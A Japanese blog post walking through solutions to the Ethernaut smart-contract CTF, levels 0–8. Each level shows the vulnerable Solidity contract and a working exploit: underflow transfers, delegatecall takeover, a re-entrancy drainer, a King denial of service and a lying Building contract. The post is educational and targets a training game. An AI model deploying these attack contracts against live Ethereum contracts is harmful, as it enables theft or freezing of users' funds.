スマートコントラクトのCTF Ethernaut

January 5, 2018
by Keichi Takahashi

最近Ethereumとスマートコントラクトの勉強をしている。まずは堅牢なスマートコントラクト開発のためのブロックチェーン技術入門という本を読み、次のステップとして、スマートコントラクトの脆弱性を突くCTFライクなゲーム Ethernaut をプレイした。無事にクリアできたので、以下に各問題の解答と説明をメモしておく。

0. Hello Ethernaut

この問題はチュートリアル的な位置付けで、コントラクトのメソッドを指示に従って順に呼び出していくだけ。コントラクトのメソッドはPromiseを返すので、awaitを使うと楽に書ける。以降の解答ではawaitを省略する。

await contract.info()
await contract.info1()
await contract.info2("hello")
await contract.infoNum()
await contract.info42()
await contract.theMethodName()
await contract.method7123949()
await contract.password()
await contract.authenticate("ethernaut0")

1. Fallback

対象のコントラクトは下記の通り:

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function() payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

  ...
}

Fallbackメソッドで msg.sender の中身をチェックせずに、 owner に代入している。 あとは、 require の中身の条件を満たしてやれば良い ので、 fallbackメソッドを呼び出す前に、.contribute() を 呼び出して contributions を増やしておく。

contract.contribute({value: 1})
contract.send(1)
contract.withdraw()

2. Fallout

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  ...
}

コントラクトのコンストラクタ名にタイポがあり、ただのメソッドになってしまっている。

await contract.Fal1out()

こんなバグ本当に起きるのかという気がするが、リファクタリング漏れで実際に発生したことがあるらしい。

3. Token

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  ...
}

_value > balances[msg.sender] のときに、アンダーフローが発生してしまう。初期状態で balances[player] に20 weiチャージされていたので、21 weiをtransferすればアンダーフローが発生する。

await contract.transfer(player, 21)

4. Delegation

contract Delegate {

  address public owner;

  function Delegate(address _owner) {
    owner = _owner;
  }

  function pwn() {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}

Fallbackメソッドで、msg.data の中身をチェックせずにdelegatecallしている。Delegatecallというのは、別コントラクトのメソッドを、呼び出し元コントラクトのコンテキストで呼び出す仕組み。つまり、呼び出し先で、呼び出し元のストレージを読み書きすることができる。この場合においては、 Delegate.pwn() をdelegatecallすれば、 Delegation コントラクトを owner を上書きできる。

await contract.sendTransaction({data: web3.sha3("pwn()").substring(0, 10)})

5. Force

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

selfdestruct(address) という組み込み関数を使う。 この関数を使用すると、自身のコントラクトコードをストレージから削除し、全ての残高を addressへ送金できる。このとき、 address にpayableなメソッドが存在しなくてもよい。この問題以降は、自分で攻撃用のコントラクトを書 いてデプロイする必要がある。自分の場合は、 Remix を使った。

contract Attacker {
    function Attacker() public payable {
        address victim = 0x1384Dee841458867C7DD45e2263CD485E5c96567;
        selfdestruct(victim);
    }
}

コントラクトのデプロイ時にetherを付与しおく必要がある。

6. King

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

king.transfer(msg.value); が失敗することを想定していない。Payableなメソッドが存在しないコントラクトから一回送金すれば、以降はking.transfer(msg.value); で常に例外が発生して、 king が更新不可能になる。

contract Attacker {
    function Attacker() public payable {
        address victim = 0x3C4d1E25Cc0B115E3a9b1c0D04bEFbE94406C83E;
        victim.call.gas(1000000).value(msg.value)();
    }
}

最初は victim.send(msg.value); と書いていたのだが、out of gas例外が発生して上手く動かなかった。調べると、 send() は呼び出し先へのメソッドへgasを伝播しないということがわかったKing コントラクトのfallbackメソッドでは、ストレージへ書くなどgasコストが高い処理をしているので、out of gas例外が発生していたというわけだ。そこで、.call.value() へ書き換えた。それでもgasが足りなかったので、明示的にgasを付与するようにした。

7. Re-entrance

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  ...

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  ...
}

withdraw() がリエントラントでない。受取先のコントラクトのfallbackメソッドでwithdraw() を呼べば、相互再帰が発生して、Reentrance コントラクトの残高かgasが尽きるまで withdraw() が繰り返し実行される。

contract Attacker {
    address constant victim = 0x0f4108dae2ab39f5c6fc7855dbbe8f8a988be112;

    function exec() public payable {
        victim.call.value(0.1 ether)(bytes4(keccak256("donate(address)")), this);
        victim.call(bytes4(keccak256("withdraw(uint256)")), 0.1 ether);
    }

    function() public payable {
        victim.call(bytes4(keccak256("withdraw(uint256)")), 0.1 ether);
    }
}

ちなみに、最初は withdraw() のメソッドIDを得る部分をbytes4(keccak256("withdraw(uint)")) と書いていたのだが、上手く動かなかった。正しくは bytes4(keccak256("withdraw(uint256)")) のようだ。

8. Elevator

interface Building {
  function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Building.isLastFloor() の1回目の呼び出しではfalseを返し、2回目の呼び出しではtrueを返せば top をtrueにできる。

contract Elevator {
    function goTo(uint) public;
}

contract FakeBuilding {
    bool flag;

    function FakeBuilding() public {
        flag = true;
    }

    function goTo(uint) public {
        Elevator elevator =  Elevator(0xfe0206670305a64e6edc0a3c28f206eb8f508355);
        elevator.goTo(100);
    }

    function isLastFloor(uint) public returns (bool) {
        flag = !flag;
        return flag;
    }
}

isLastFloor() のシグネイチャにはC++でいうconstを意味する view 属性が付いているので、本来はストレージの書き換えはコンパイルエラーになるべきなのだが、(現状では) Solidityのコンパイラは通してしまう。